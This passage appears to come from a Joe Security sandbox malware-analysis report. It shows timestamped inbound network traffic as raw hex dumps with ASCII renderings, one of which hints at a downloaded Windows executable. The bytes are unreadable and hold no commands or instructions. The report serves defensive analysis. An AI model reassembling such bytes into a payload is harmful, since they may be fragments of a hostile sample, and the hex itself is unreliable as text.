2022-01-15 19:23:32 UTC 6855 IN Data Raw: cb 4e dd 55 b4 c1 d1 0d cd 42 80 f1 ac 04 33 d6 7a 36 c1 c0 bf df 4d 5a 06 a5 f7 d4 df 95 b3 be fc 91 95 eb b8 5a 8b 4d 2e f4 48 29 61 0e 6e 60 ba 40 6f d3 67 ba d3 3c 31 8b e0 11 72 b1 c5 eb 91 54 fc 55 db d6 a2 bc ed e4 eb 1e 09 2b fa ab d4 c1 c8 f9 12 64 06 7c 84 77 89 28 2b be 1d 88 58 15 37 56 fe 43 00 2c fc db 7e a6 1f 81 4a 33 39 d5 1c 5e 9d 37 d2 9c 13 b5 6d a2 62 be f1 50 e8 65 b0 d9 bc 8a 23 90 2c c1 b5 e1 85 49 5d b3 38 59 ec 7a ed 37 82 a5 8f 7d 65 d2 0e c3 15 03 fa 7e 92 fd a8 b9 b4 f1 ca 4d c3 fb 00 e1 77 38 00 cb 60 2f 11 c7 78 d9 a2 2a e0 d7 80 c7 0b bc 2d 82 cb 44 78 16 91 c2 15 d7 4f 95 73 19 d1 16 39 f1 1d 61 58 95 c5 80 e7 ca dc 2e 62 44 cf d1 54 a5 cf a4 08 76 5c 15 87 94 c5 09 64 98 4f d0 c1 32 f5 73 c0 be f3 2f cf 3d b2 7e 62 a2 4e Data Ascii: NUB3z6MZZM.H)an`@og<1rTU+d|w(+X7VC,~J39^7mbPe#,I]8Yz7}e~Mw8`/x*-DxOs9aX.bDTv\dO2s/=~bN

2022-01-15 19:23:32 UTC 6871 IN Data Raw: fa 3d d8 bc 34 0a 11 18 bc 12 41 d4 f7 73 fc c5 6d 4b 1c 6e 38 07 cf 55 28 f5 d0 ae 33 03 40 0b 07 3e 5d 8d a7 69 e4 9e cd cd 80 0e eb 4d 44 59 b1 15 48 34 94 df 40 21 f3 fc 46 c4 a7 d3 b6 2d 6c d3 bd 34 94 4c 9c f0 38 10 30 44 11 90 4a 40 b7 d5 1d f1 4a 3b fb 90 37 e8 1c fd bd 67 e2 e6 48 b5 82 a0 d4 e7 6f e3 24 5a 66 a1 7a 9c e8 96 e8 b3 a5 ec 42 38 d8 e7 a5 7c b1 7a 07 34 c0 14 34 ca b5 a0 4f 9f 57 8b 67 16 74 7c b1 97 9f 9f af fd 8d aa ac ea 7e 77 56 01 b6 9d 6a 57df e2 a4 cc 0f f6 6d 52 d3 44 4c bc 25 c2 af b3 4d cc 30 88 3b 51 68 23 c5 74 3a 3b a7 cd 6a b1 45 5a 28 25 7f f6 76 85 22 da cc 2a 38 43 cd 2a 95 38 48 d1 9e 67 c6 f5 c4 0b b5 14 4c 5e be cc 4e 48 ba d7 47 e1 cb b9 85 ec 60 2d 73 48 27 10 ec 66 b8 26 64 33 fd df 2b 05 bc ed 71 46 4d dd 7d Data Ascii: =4AsmKn8U(3@>]iMDYH4@!F-l4L80DJ@J;7gHo$ZfzB8|z44OWgt|~wVjWmRDL%M0;Qh#t:;jEZ(%v"*8C*8HgL^NHG`-sH'f&d3+qFM}

2022-01-15 19:23:32 UTC 6887 IN Data Raw: 2a 51 73 90 44 c4 cd ec af b6 05 93 2d cf 26 9b 08 02 94 ce b6 96 0c 14 05 34 39 d6 7d 0d a2 3d 32 de 12 14 ff 80 7a f6 21 36 b5 8c bf d2 08 8c d0 2e 40 30 94 44 d0 39 00 9a 86 f3 48 c5 4e 85 bb 40 33 39 d3 d6 0a cc 3a 7b 4b b4 5e 73 49 5c 7f ba ae 86 a2 8f b1 d0 a4 91 b5 21 5e e9 4c 8c 47 f6 1b 79 43 d5 b8 4f d7 2d 82 14 7a 91 13 96 b8 30 66 e0 a7 1f ac 4f b0 41 bd 08 15 c3 54 44 8c 5a fd 24 6c ed b9 76 ed f7 2a 00 95 ed 79 7e 25 41 b6 a2 a8 35 a2 75 94 db 54 61 77 57 cb bb 10 c7 89 21 04 4e 4e 2c a7 d8 66 1c 31 c0 8f 70 99 b2 05 3c 36 5f 98 be 8c 1b 99 e6 61 ce 20 12 6b bd 3f 3a a2 52 c8 d8 54 25 88 3e 2b 20 2b c0 d7 04 49 88 93 05 e1 d4 65 d3 8f 8c f1 3a 61 80 a2 e0 b7 cb 56 01 af 69 0a 8b 57 90 34 87 b8 f8 13 6d dd 6b a0 6d 30 1f 0b 93 63 fb d0 cc 2b Data Ascii: *QsD-&49}=2z!6.@0D9HN@39:{K^sI\!^LGyCO-z0fOATDZ$lv*y~%A5uTawW!NN,f1p<6_a k?:RT%>+ +Ie:aViW4mkm0c+

2022-01-15 19:23:32 UTC 6903 IN Data Raw: 97 73 c6 3e d0 d6 c9 b9 28 a5 2f 31 13 03 1a 6c 27 4b b6 c7 e3 b3 fd ec 50 4f b5 98 7d 21 8d 88 08 cc d3 ad ad a0 c0 5f 18 47 1f 31 4e 54 c2 35 b8 1b 4d 00 9e 51 a1 ec 60 cf df 27 7d 2b 4d 14 49 da be dd ad fb 76 bb 18 c0 63 5f 776f 42 24 38 f8 9c 48 f0 86 1f db 91 9f 4d 1c 27 f5 8f 08 a0 c4 28 06 fc e9 80 29 e5 f1 66 5c a7 fb b7 f5 00 f5 7c 74 33 23 cc 4b b8 a4 22 da 74 61 9b 31 76 bb 47 7b 7c 65 ee a0 ae 25 c9 69 af 55 0d 90 b2 d4 98 cc cd c5 62 d2 7e b4 d0 99 48 8a d9 ab 44 c0 e7 5f eb ee 95 88 8d d2 0f 94 00 b5 51 51 d4 c1 ac 59 d9 2a c3 0d 2e 3f 19 91 aa 6e 7d 46 bc c1 3b 36 b8 56 47 7f 94 77 5c 0b 89 8f 39 09 6d c4 64 cc 38 c9 c2 f6 db 52 d0 04 86 97 e9 f1 b8 1a ec 23 d0 76 33 1d e6 c8 56 0c 47 5b a2 fe d6 91 98 1e aa a5 38 6c 50 2c b7 f2 17 f8 8e Data Ascii: s>(/1l'KPO}!_G1NT5MQ`'}+MIvc_woB$8HM'()f\|t3#K"ta1vG{|e%iUb~HD_QQY*.?n}F;6VGw\9md8R#v3VG[8lP,

2022-01-15 19:23:32 UTC 6919 IN Data Raw: f0 b9 4b 2b 63 8c 85 80 08 ae 94 c2 4c 41 3e bc 12 c6 b4 dd 44 96 d4 3c fa cf 61 12 6f 1e 81 93 3e d2 f5 b6 a4 79 1d 0b d3 4b c1 e4 87 44 30 2c 88 21 8c eb 27 93 0c 72 31 8e 4f c8 30 cc cb be 33 21 29 ac 25 93 61 e7 d9 85 99 ee 61 ed 4a 1c 87 71 dc 10 1e ac c9 dc 67 65 d7 d0 b2 2a 84 64 f7 a3 39 20 a8 ed 7d 04 d3 57 ee f7 b8 fa ce f1 f5 4b 60 2a 5d e2 1d 5c ae 76 b9 88 4b 25 f0 a7 08 a1 d7 9d 1a 7d 41 37 87 15 ba 35 8d b0 7d 36 dc 95 4f bf 31 c8 4a 6c a7 1c 39 8e e5 b0 5a 4a 6d 7d 7d e6 8b c0 e7 6d 58 12 cf 4d 20 37 60 0a 01 ef 61 cc aa cd 09 64 0e 32 3d 13 62 08 b1 01 4d e0 e1 08 76 fd c1 0d 1d b2 f0 e2 68 3f 60 29 12 fa 53 48 44 fb f6 31 10 39 2f f0 09 be 36 84 a7 32 80 95 87 ac c5 f0 94 95 ef d1 1c 41 eb 50 69 8b 4d 55 81 69 8d 08 10 2e fd 97 d6 e5 01 Data Ascii: K+cLA>D<ao>yKD0,!'r1O03!)%aaJqge*d9 }WK`*]\vK%}A75}6O1Jl9ZJm}}mXM 7`ad2=bMvh?`)SHD19/62APiMUi.

2022-01-15 19:23:32 UTC 6935 IN Data Raw: ec d3 b0 d7 50 47 73 70 43 fd 69 60 df 3f 7f 9b 69 1e c9 8e 1c 0e ee 58 b8 8d e2 7c 14 ee b4 f9 ec 67 81 e2 e8 35 af 2b 87 b2 46 1c ba cf c1 3b d2 be 6d 8d ec 0e 72 5b d3 d5 02 b7 4e fb 6a 29 ae a1 81 fb a4 b4 af 1e 19 b1 03 aa b4 ca f0 d8 32 17 10 e8 f7 bf f3 1f 5d 85 92 2c 20 87 c1 e0 72 6e 0a fc 26 6f 4b ce f3 2d 46 de d8 95 67 af 3c ab c0 d8 20 d9 1a e4 38 8f af 47 e9 85 c7 53 90 f5 2f 71 1d c8 d6 52 50 95 2a 08 1a bb 53 0c 47 db 01 b5 95 10 fc 84 85 fd 91 6d ca ea ed f9 47 75 05 ae 45 ea 94 58 76 d1 87 d9 eb 31 f9 e1 a7 f8 e8 de c4 c5 29 f5 79 2d da df b5 e5 b2 b6 f2 c4 6c c9 0d 9a 77 5c 31 24 45 78 ba 2e af ef 47 55 35 35 ca cb 54 7d 1d dd a5 69 6d 65 b6 01 ed 1e a9 18 04 ce 87 1f a4 24 29 b0 c2 b8 91 18 11 f9 ed cf 89 d4 65 5a d9 c5 e2 76 ea 04 80 Data Ascii: PGspCi`?iX|g5+F;mr[Nj)2], rn&oK-Fg< 8GS/qRP*SGmGuEXv1)y-lw\1$Ex.GU55T}ime$)eZv

2022-01-15 19:23:32 UTC 6951 IN Data Raw: 2b 5a 12 b5 4c 05 fd 44 0e 30 51 88 39 d2 d9 3c 7f b0 89 e6 48 d8 da 93 e4 b1 3e 9a a9 4e d6 d0 83 a5 11 ad 6f c4 e5 37 ec 65 33 9d e1 d4 51 ec 09 44 63 f3 16 05 92 7c 80 db 75 1d 74 47 b1 8c 27 dc aa 00 e9 d7 ea f8 6e ed 91 e9 c0 ce e6 f5 df e9 ed 88 bf 72 78 2c 27 df b6 f9 24 b6 d1 91 fc c3 f0 c3 d7 dc bd b3 c5 cf 31 c7 4d b1 9c 1b d0 12 23 84 bc fb af f3 ee 2b 95 04 12 3d f5 56 22 19 cd 78 2b 0c 60 ab 08 1d ca 65 70 f8 c3 9d 91 32 4d 4e b6 f9 7f 50 ac cd b5 5a a9 50 65 5c 59 92 9a e9 94 fd 55 6e c7 e1 0c 2a 30 95 23 f0 1f e7 66 34 cc 9d f6 1c 67 4e 5e 82 48 e5 86 9d 6c f7 dc 99 1c c1 f9 47 a6 46 10 af d8 09 1b a4 30 39 eb 1f 5c 49 bd 04 73 05 4e e3 b0 fa a7 0e ce 0a 7c 58 4f 73 e0 b4 fc 07 41 25 4e 7b 09 4b c6 07 31 4d 65 7d 6d b4 f2 d1 3c 93 d9 f5 bd Data Ascii: +ZLD0Q9<H>No7e3QDc|utG'nrx,'$1M#+=V"x+`ep2MNPZPe\YUn*0#f4gN^HlGF09\IsN|XOsA%N{K1Me}m<

2022-01-15 19:23:32 UTC 6967 IN Data Raw: 00 b6 bd 88 29 a5 26 fa 38 7a 03 0f 4c 90 c1 46 73 57 cd 3c 6a 7f d0 30 92 45 2a 07 25 0d bd d8 63 80 47 7c fc 71 de bb 68 3d b1 13 39 f1 b9 a0 bd b8 96 62 02 19 61 82 28 10 af 17 98 68 c0 ab 63 35 21 84 8e d3 68 f7 f3 22 c1 39 8d f5 46 eb 24 ff b4 9a 7e 1b 17 d4 5c 18 85 71 ad 9f cd 44 fe 10 d3 56 51 b7 81 e9 f9 0f 76 26 48 ad 7f b7 05 c1 f8 ec a0 a5 9c 2c 35 b8 d9 50 61 29 0d d9 f8 7d 0c 14 77 7a b6 34 e6 51 e1 09 d4 a7 55 08 ab 64 bd e0 c3 5d b9 c5 05 b8 1d 4a 85 b1 7c 2a ed 14 32 06 06 97 ab ff 2c ed a5 d0 2a 27 6f 5f a8 b9 82 7f 86 c0 23 61 45 d2 96 f7 f2 e5 bc b7 3d 9d 5d 36 5e dd 68 b1 49 95 dd 2a 00 cf 20 a8 86 ca 02 73 78 32 9f 76 d7 a3 d8 98 3a 43 6f 29 62 9a 84 4c 8a 35 e1 f1 94 f5 a2 f0 dc 65 5714 c6 45 bd 25 0c 62 4a bd 3c 53 ce 0d ca 33 02 Data Ascii: )&8zLFsW<j0E*%cG|qh=9ba(hc5!h"9F$~\qDVQv&H,5Pa)}wz4QUd]J|*2,*'o_#aE=]6^hI* sx2v:Co)bL5eWE%bJ<S3

2022-01-15 19:23:32 UTC 6983 IN Data Raw: 84 d3 d1 16 e5 19 69 ea 2a de 38 78 95 6d 7c ca 4d ca d5 2e ec 45 9d ce 33 9c 5f 84 07 dd bf b8 59 3c 60 c0 0e 51 41 06 22 b0 59 98 f4 94 ab fc 09 af 18 f0 39 4e 53 35 2c 35 b4 fc 77 75 b7 1e 23 e3 06 90 68 f8 60 29 95 09 85 1c 1e b0 94 19 c6 59 fa 5e fa 4f 20 5f 24 44 21 ce d7 0e 43 1c 67 f9 79 09 99 a8 60 1c dc 4f e9 08 62 de 3e f2 f2 85 b8 6e 4d f3 5f 86 58 c0 f1 c9 4e 4a 1f 88 38 92 e1 ec a5 1f 0a 6d ad 7c 89 a6 e4 8f 4f 5f 58 bd a2 be 4a d7 aa bb 0c c7 a8 a4 05 99 56 23 b8 36 34 e5 21 d5 94 6d 4e 1d bd 73 4a 98 03 cd e2 e9 16 06 a8 94 68 fc 45 a0 20 b4 c8 3b cf 20 47 8b 99 5c c5 1f 92 fc 2e 8b 3d 06 f2 d9 f8 ba e0 95 b8 d6 16 57 bb 2c 68 cb cf e8 6d 60 65 13 02 ce af 3f ac e9 b9 e8 fd f9 c4 f7 78 ba 67 fd0e f0 55 1b 62 6d 21 e8 4a ce a1 95 3e a5 ee Data Ascii: i*8xm|M.E3_Y<`QA"Y9NS5,5wu#h`)Y^O _$D!Cgy`Ob>nM_XNJ8m|O_XJV#64!mNsJhE ; G\.=W,hm`e?xgUbm!J>

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 76 of 103

2022-01-15 19:23:32 UTC 6999 IN Data Raw: 0d 84 2f 71 ad 61 8f 84 b9 78 06 de 33 ef cd e0 9e d6 de ff 0a 4d 32 de a6 17 d9 ab d4 c7 a1 a8 6b 36 40 2c 47 13 59 16 2b 28 06 f2 15 d5 59 98 52 9b b4 ee b8 e5 5c 07 da d6 b0 d2 d6 bd b7 c0 9c 5b 12 60 07 45 4a 9a ba d8 06 f5 b9 53 81 ec 3e d6 68 9d ae f5 53 f2 7c 22 6c f2 67 c5 03 ff 2b 2b 6d 58 76 60 43 6f bc 9f 4c 08 cb cf b9 9a e8 65 f3 fc b0 ff 39 03 56 b8 d5 79 f9 2a 29 3b 27 b8 bd 06 83 c6 7b b8 68 83 c0 ec b6 69 a5 06 5e d6 6e b2 8c 95 97 f6 01 1a f6 c8 87 c4 c2 a0 d3 5c 05 1b fd ae cd 04 82 d5 e7 4e 14 44 1c b4 0d 0b 94 d0 f9 67 ad e3 a7 b7 91 83 e6 41 b2 f2 9f 19 bf 5e b1 45 04 e3 18 da 6a 05 55 d8 6c b4 fa 29 41 5c e6 bb 9a c4 98 2b e5 07 d6 d5 9d 1a ac cd b4 c4 9f 05 1f 48 ac c4 2b 34 48 c4 05 4f 21 ef 60 c0 fc d5 11 43 dc 72 8d 09 c6 16 d8 Data Ascii: /qax3M2k6@,GY+(YR\[`EJS>hS|"lg++mXv`CoLe9Vy*);'{hi^n\NDgA^EjUl)A\+H+4HO!`Cr

2022-01-15 19:23:32 UTC 7015 IN Data Raw: 3c 97 ae bc d4 a9 95 38 76 3d 6d 52 f9 b5 b9 ee 11 b2 ed ae 58 1a bc 3c ec f1 dc 14 2b e9 df 3c ba 8b 63 56 4f9e c9 8e a6 74 33 62 fd f9 bf 54 3e 41 f5 8c 08 da 07 ab e6 ce 2c 15 ba 5c a9 44 30 77 0c 80 55 95 a8 67 1d 11 1d c8 bc c4 2a f9 1f 08 a4 85 23 ee 21 5c ee d7 0c 14 e4 ed d5 d9 1d dc 7d fb 00 cd 6f d3 31 0b e4 ec 1b 83 11 05 c5 dc 37 18 cb b1 3a ea 89 e4 04 42 94 b9 af 2b 5a f4 73 78 3c 19 bb ca df 27 fd 93 6c f3 e1 21 05 dc 68 40 d0 62 5c bd 6a ef 8f d0 b7 e7 38 86 da 6a 1a 0c 3e bd a6 5f d5 dc bd 73 0e 5a 7a 51 21 7e 6b b5 4c 85 d7 d3 2e 5c 04 48 78 b7 0c 1f 8d 7c 45 4c e8 0b c0 e6 7c 25 82 0d 03 a7 40 81 3e dc ac 25 10 04 2b a2 1a b8 cf 94 b7 47 38 f7 d5 a5 8d e0 a0 34 43 ee bc c4 ad e1 c1 6f 13 7b 5b ec 11 cc b2 05 6c 65 d8 e4 10 67 80 c5 a4 Data Ascii: <8v=mRX<+<cVOt3bT>A,\D0wUg*#!\}o17:B+Zsx<'l!h@b\j8j>_sZzQ!~kL.\Hx|EL|%@>%+G84Co{[leg

2022-01-15 19:23:32 UTC 7031 IN Data Raw: de 0c da 25 5c 04 03 42 b3 fe b7 32 92 94 5e 14 34 0e a9 13 14 81 8d 0c 47 33 06 98 fd 23 fe 40 ec 51 1a 2d 03 1e c7 27 de 5d bf fe d5 23 3c 00 fd 05 bf fa 76 99 1b c9 8c c7 48 ea 06 37 ee 4c 84 b6 98 f5 fd 00 bd 09 de 15 8b 24 e0 c3 af 42 36 8e 5f 0c a7 cf 02 2e e0 95 41 f5 19 1d 1c 0c 27 32 81 cc 75 23 98 5c 3b bb cd eb 42 f7 94 48 6f 8b fd 05 7a 8b e6 b7 67 7d c1 a0 c1 e1 80 65 4c a2 ab bc d4 b8 5b 2e 77 bf 5a 50 3d a3 f3 47 91 0f 51 08 aa 8a f8 7d c6 b5 e1 d0 41 e9 9f cc d4 c5 82 55 59 0b 2b 2d 29 63 28 52 80 09 57 cb 74 a4 a1 ac b6 e4 e3 7a 68 e4 e4 47 ba 1b f2 36 96 d1 ae 14 c0 4d 0f e8 38 fa 24 1d 01 14 5a f0 64 c7 51 ac e6 e4 88 13 1f 45 86 6d ba 2b f2 0f dd d1 f1 c4 b0 e8 bb e8 58 c4 ee de 1e c4 5a ef 7c ef 20 68 fc 8a b1 4e d8 44 94 eb f1 6b c4 Data Ascii: %\B2^4G3#@Q-']#<vH7L$B6_.A'2u#\;BHozg}eL[.wZP=GQ}AUY+-)c(RWtzhG6M8$ZdQEm+XZ| hNDk

2022-01-15 19:23:32 UTC 7047 IN Data Raw: 6b ff 94 4b 4b 5d 20 b4 e0 ef 52 27 29 c9 e9 13 1e cf 4e 57 34 05 82 b2 84 33 f9 fe 47 c4 c7 06 e0 9c fa ff 44 ec b9 d3 fc 2a c4 da c6 b5 91 b3 5d fb b4 6a d0 e6 4a dd fc c7 df e3 e4 a2 0d 30 a6 29 96 b3 c5 c9 bc eb 85 dc b9 f7 28 ba 83 d1 3c a5 2c 48 39 b1 10 f8 f9 77 51 a9 ab ec fd c3 96 40 9e 88 58 c9 0a b1 79 e4 6b e1 38 53 6f a6 f9 81 7d 56 ff b5 81 ce d4 b5 e7 6f 4b f5 43 ed 07 e0 93 7c 08 42 00 cc 6a ba 65 70 39 1e 21 8a c9 81 11 55 42 b5 ed 1e d4 06 f2 ec a4 61 b3 f4 75 8e 8b eb 3c c7 ea b1 7e 9e 58 2d a7 b4 bc e8 19 81 9a be 18 fd a9 2e d4 e2 5f 4a 01 cd e3 fc 93 81 11 00 3c e2 00 80 6d 39 e2 cc e0 ca 1c 5d 7c ed f3 01 cf 0d b9 7e d4 37 4d b3 48 c5 c4 48 62 8e 31 7c c4 5f 50 e6 73 96 61 bc b9 d7 f8 5c d6 0f bd 1a bb 92 52 24 24 6c ae 49 4f 33 5a Data Ascii: kKK] R')NW43GD*]jJ0)(<,H9wQ@Xyk8So}VoKC|Bjep9!UBau<~X-._J<m9]|~7MHHb1|_Psa\R$$lIO3Z

2022-01-15 19:23:32 UTC 7063 IN Data Raw: 41 e1 1e f6 72 05 bd ba db cb ac ac a1 ad 0a 14 78 48 7c 5e cc 09 3d 5c 02 d5 21 ff 98 bd 49 ec 3c 75 14 29 60 5a 10 d0 fa 6f 30 c1 4d 16 cd 93 9e ce 86 46 eb cd 3c 66 5f f5 0f fe 29 da 47 e8 62 1c aa 29 6e 69 1a 34 47 e0 30 18 4e a9 ec fa ca 27 5d 3c 08 75 06 1d 02 76 40 0c 47 3b b6 a1 26 48 98 43 5b b5 95 2a db ae f6 10 86 59 bd 36 47 0c 0c 28 39 5a 66 33 6a e0 79 8e a2 74 7d 42 1a 26 79 99 cd fd 61 56 b5 e4 0a 62 78 2b da ce c5 80 4f f0 88 3b ae ca 6d e0 a1 0f 53 41 3f 72 b5 b4 13 c9 c8 da d7 06 42 b9 8d cc 0c 7e dc 9e 7c 3c 22 0d a6 fb 48 71 5b 4f e3 74 3c 45 ae 7c 40 f1 20 2b f0 75d9 58 3a 19 54 8c 4a b0 cd 7d 14 85 1c 2e f0 ca 20 b4 f8 67 37 2a 26 87 e5 5d e6 35 2e 89 a5 fd 79 14 05 d4 ca 66 c8 ba bc 72 3a dc 6c 2e 95 6a 94 1c f9 37 37 42 66 f7 e5 Data Ascii: ArxH|^=\!I<u)`Zo0MF<f_)Gb)ni4G0N']<uv@G;&HC[*Y6G(9Zf3jyt}B&yaVbx+O;mSA?rB~|<"Hq[Ot<E|@ +uX:TJ}. g7*&]5.yfr:l.j77Bf

2022-01-15 19:23:32 UTC 7079 IN Data Raw: b1 68 d2 23 4f e5 3d 91 3a 26 4d 87 c0 36 01 ac 33 80 3f 87 40 51 0d 1f 76 ef d8 a6 df b1 83 76 2f ac a2 24 88 61 b5 91 97 6c 5e b3 b8 bf aa 51 4d 47 0e 80 8d 2b e9 12 8a 80 a0 37 25 6c b1 6d 3a 4f 96 80 a2 d1 b9 c1 bc e5 bb fe 67 fa 3c 5d 89 60 3e 82 94 a8 01 cd 96 ee f2 8e 55 5d 7c c1 bb ce a5 37 48 f5 6b 27 30 8b 7f d0 1c 10 76 3c 17 0b 79 08 ea 80 85 15 d8 b5 40 8f 8d 9d 12 28 98 0f f8 95 2f 2d ce db 2b 8c 9d 28 2a ee e3 4e 0c 42 61 90 aa 09 5b 2c 47 3b f7 bc 33 e8 3e 7a 8e 51 3d 06 0e ee a3 5e e0 94 9f fc 99 09 04 80 78 49 21 21 75 95 5a 14 84 c7 f5 94 65 46 f1 10 67 fd 6d 66 7d fd ec 34 17 65 7b 28 24 60 19 d2 95 29 d1 07 9b 79 21 6e 37 1f c5 0f 8a 46 b8 5e b5 45 7d c8 c5 0d 7c 9a 10 6b 24 62 48 c1 84 fe 02 ed eb e8 34 c4 6e b3 89 6c 3d de 6f eb cd Data Ascii: h#O=:&M63?@Qvv/$al^QMG+7%lm:Og<]`>U]|7Hk'0v<y@(/-+(*NBa[,G;3>zQ=^xI!!uZeFgmf}4e{($`)y!n7F^E}|k$bH4nl=o

2022-01-15 19:23:32 UTC 7095 IN Data Raw: 8f 13 01 ec ae 0d d3 b0 bd c7 3c 35 26 a7 68 b4 b4 57 1b 34 e8 25 37 47 c7 e5 8d 0e 85 a5 53 6b 4c 15 5d aa f0 0c 20 99 01 e5 6f fc a8 78 20 34 98 d9 c2 1d 33 d1 5f 0d a7 12 69 74 d5 a5 8c ca 12 b5 e5 fa f0 a9 ff 85 b7 27 38 af 29 2c 91 cc 1c c4 89 9f c2 4d a2 be 39 0b cd 11 58 50 51 3e 24 ef ae aa ed 4b 14 5c f9 f7 75 cd fa cf b9 9a 1a 9d de 2b c8 72 91 07 75 d5 dd 21 7e 65 eb c4 05 9f 96 7f 38 87 5e b4 d5 a5 8d 20 c6 ff 9f a9 ce cb 82 57 52 bf ff c4 f4 a0 d8 e4 3a 8f 1b 29 8c b0 85 5c 78 bb ac a5 ad 38 bd 13 e5 b0 b9 95 59 78 f6 1a 48 05 2b ab 5e 97 a3 88 b9 73 74 cb 8f cf bf 16 1b ba af f7 18 da 2e 18 ba c2 74 6d d0 e4 6f e8 05 f6 77 e5 8f 5f 90 e8 f7 03 38 d4 12 a6 8d ac f8 67 6f e1 b0 1a 8d 0e 21 6c 1a 6c bf c4 c0 1c d0 16 64 0e 13 f3 01 00 04 37 5b Data Ascii: <5&hW4%7GSkL] ox 43_it'8),M9XPQ>$K\u+ru!~e8^ WR:)\x8YxH+^st.tmow_8go!lld7[

2022-01-15 19:23:32 UTC 7111 IN Data Raw: 72 2a 21 27 d7 b5 c1 f2 3d be e2 c4 f0 61 e7 18 99 b3 d8 c0 1d c2 53 50 31 ab 52 6c 23 be 91 8e b5 81 b9 3d 6c 25 5d 9a d4 2a d2 92 e8 22 3f ce 83 d7 e9 e0 db a9 e6 ae 03 97 e5 0f a7 54 be bf 91 d8 57 5a ef d4 2d c7 c8 68 37 1f ba 15 a7 d0 e8 17 aa e0 6b c6 95 80 24 b8 e6 2e d8 2a bd 33 4b 95 ea e1 7c 99 7f 9d b8 85 4b e0 63 c6 2a c2 20 c5 14 b1 07 51 54 17 39 57 bd cc 46 f9 36 d2 17 6e c2 b1 bc 0d 9c 2c 32 29 db 54 83 35 1d ca 17 6c f6 8c d6 1d 19 1e cc 9b f2 d9 93 a6 51 22 f9 a2 30 54 1c 62 b1 2c ee b2 4f 15 47 c4 2d c7 a2 84 f9 30 ec b9 bd ac d4 40 cb b0 cc 22 c3 ce 9d 3b 0f 00 79 6f 48 c6 7e d1 b7 1e 78 ca cc 90 2a ad 5a a4 39 7b 3e 6f e0 05 86 14 b6 d7 50 3e a5 22 8d 0b 50 9f 89 eb 20 45 c2 76 2a e0 1c 49 15 6a 8c 42 4c c4 33 8f 75 2d 06 35 c0 95 8d Data Ascii: r*!'=aSP1Rl#=l%]*"?TWZ-h7k$.*3K|Kc* QT9WF6n,2)T5lQ"0Tb,OG-0@";yoH~x*Z9{>oP>"P Ev*IjBL3u-5

2022-01-15 19:23:32 UTC 7127 IN Data Raw: 61 e0 3f 42 c5 fd 65 76 b5 ea c2 33 eb 09 22 7a 3a b5 55 8f 5a b9 25 1e 5e 21 59 d1 1a 21 5e 0f 07 7f d9 67 b1 e7 6f 62 eb 21 21 86 71 39 8a 98 0c b8 3b 21 b5 45 86 e8 9b 1e 1c fb cd d5 02 32 46 c1 07 b5 1a ed 86 86 d8 c1 67 86 73 0c 37 d8 3c c4 b8 9b 16 2e 40 cc bb 6a 66 b0 cc 29 81 8c 02 1b 26 e5 1e e0 5a 4a e6 c5 5d e6 b2 79 55 26 3f a6 39 4c 4b 34 ae 2e a3 a4 61 68 06 d6 59 a4 07 ed cd 15 2b e7 f3 61 8f 39 b8 36 b2 4b 1e e7 11 c5 4d ba 2e 5a 85 04 c8 f8 5d 9d a6 c1 fd 18 55 17 f4 21 1a 6c 4c cc 78 a3 59 a6 5d 78 ee 5c ba 83 37 8e 58 b6 91 8b 98 f8 29 e8 cf 85 82 b8 ef 83 c4 1e 1a 77 36 fb 18 f8 27 1c c8 b7 1d 21 69 2a 45 f2 bc c6 e3 25 eb 50 9e 44 a5 6c 2d cd 86 4e 40 78 51 6d 7d b1 1b 2d ec 9a 1d d6 a0 48 88 cf 37 e9 37 45 09 5c fd e6 9a ff a2 7d 55 Data Ascii: a?Bev3"z:UZ%^!Y!^gob!!q9;!E2Fgs7<.@jf)&ZJ]yU&?9LK4.ahY+a96KM.Z]U!lLxY]x\7X)w6'!i*E%PDl-N@xQm}-H77E\}U

2022-01-15 19:23:32 UTC 7143 IN Data Raw: 1d 9f de e8 ac d2 86 99 54 ba f2 09 95 03 44 87 b4 00 21 08 34 60 66 ee 28 5d d7 b0 01 d9 3b 99 b6 c2 b1 44 87 b0 6f 85 a0 29 6e 28 db 95 b2 ee b8 34 c5 19 76 13 9d b8 f9 cb d0 95 9c 60 74 8a 1c 2b cc 26 9e 25 98 ad 12 44 4f b6 0b bd af f6 3b 36 2c 1e 6e 9f ac dd 30 9f 64 81 a9 07 77 4e 14 99 5e 05 f9 2b b3 52 68 87 6e ee 69 49 34 c7 bc 75 2f e0 c04c 96 b7 64 e8 72 a0 9b e0 7b 20 02 d2 35 48 72 80 eb 5b b0 c8 33 99 0a 89 25 ad b1 c9 f3 18 32 29 05 30 72 33 f4 50 9d 01 9d 84 1e 7f f0 1c c5 4c cf 5c 96 6b 76 52 20 b7 10 f2 64 b1 39 b5 40 c7 9d e5 2f c9 93 9a c1 41 55 94 20 d3 17 48 05 19 22 70 fc 45 98 e7 1f e1 34 50 f4 93 18 1e 2e a7 72 9c 4c 4e 28 8c 60 c4 5b cd 05 a0 7c 6d 90 e1 7e 46 fe 27 3b 92 b6 6a e1 dd 16 1b dd 4d b1 89 a0 75 7d d7 80 5f 8a 7b ff Data Ascii: TD!4`f(];Do)n(4v`t+&%DO;6,n0dwN^+RhniI4u/Ldr{ 5Hr[3%2)0r3PL\kvR d9@/AU H"pE4P.rLN(`[|m~F';jMu}_{

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 77 of 103

2022-01-15 19:23:32 UTC 7159 IN Data Raw: 91 44 6b d5 42 22 8d 70 d9 6a 7f c3 05 4c 96 f6 6e bc 74 73 33 0f 63 56 59 c9 e4 31 43 a5 9d 8d d7 1c af 4d 90 9e f3 42 55 e0 a1 25 9c 12 96 6d f0 84 81 69 8c 10 8f 63 f4 80 7b 04 20 80 80 48 39 05 5f b1 e6 d9 89 1f cd 43 ef c4 8b c9 91 23 e7 e1 96 91 69 4f b7 36 4c 49 7f e6 a8 34 76 0d 41 ae a9 cf f2 f3 ef 1a 74 ab 05 c3 ea ce bf 18 ae c1 9c 4d 1d fd 39 d9 a5 07 06 12 35 45 77 00 57 cd 77 a6 b0 96 d8 b1 11 c8 16 9b c1 a4 40 56 a0 53 3c 3f 81 c6 38 de d2 28 8d 2c b9 78 79 46 ad b7 9d bb ff 68 98 7a 87 86 05 3e bd 8c bc 8d aa cd c0 cd 5d 13 f0 c9 16 57 f7 cc 4e da 38 32 bf 13 43 2e 2f 41 6b 4f 5d 0f b6 75 5a 98 06 f9 e8 87 d6 9f 5b df 22 66 5f 84 b2 d4 5f fc a4 f3 f6 2c b8 87 f7 07 25 08 83 80 7f 41 2a 94 1d 9e 85 3e ef 82 96 e9 3b 5e 17 59 